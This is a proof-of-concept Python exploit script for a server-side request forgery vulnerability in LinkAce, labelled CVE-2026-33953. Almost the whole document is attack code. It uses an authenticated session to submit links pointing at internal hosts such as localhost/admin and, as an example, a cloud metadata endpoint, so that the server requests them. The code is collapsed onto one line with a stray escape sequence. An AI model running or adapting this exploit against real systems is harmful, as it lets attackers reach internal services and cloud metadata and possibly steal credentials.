CVE-2026-33953 LinkAce 服务端请求伪造漏洞

# PoC for CVE-2026-33953 (LinkAce SSRF) # This script demonstrates how an internal hostname can bypass IP literal checks. import requests def exploit_ssrf(target_url, internal_host): """ Attempts to create a link pointing to an internal hostname. """ session = requests.Session() # Authentication cookie or header is required (PR:L) session.headers.update({ "Content-Type": "application/x-www-form-urlencoded",\n "Cookie": "linkace_session=<authenticated_session_token>" }) # Payload using internal hostname instead of IP payload = { "url": internal_host, # e.g., http://localhost:8080 or http://metadata.google.internal "title": "Internal Resource", "list_id": "1", "tags": "test" } try: response = session.post(f"{target_url}/links", data=payload) if response.status_code == 200 or response.status_code == 201: print(f"[+] Request sent successfully. Server likely processed {internal_host}") else: print(f"[-] Request failed with status code: {response.status_code}") except Exception as e: print(f"[!] Error: {e}") if __name__ == "__main__": target = "http://localhost:8000" # Replace with actual LinkAce URL # Targeting an internal service reachable by the server internal_target = "http://localhost/admin" exploit_ssrf(target, internal_target)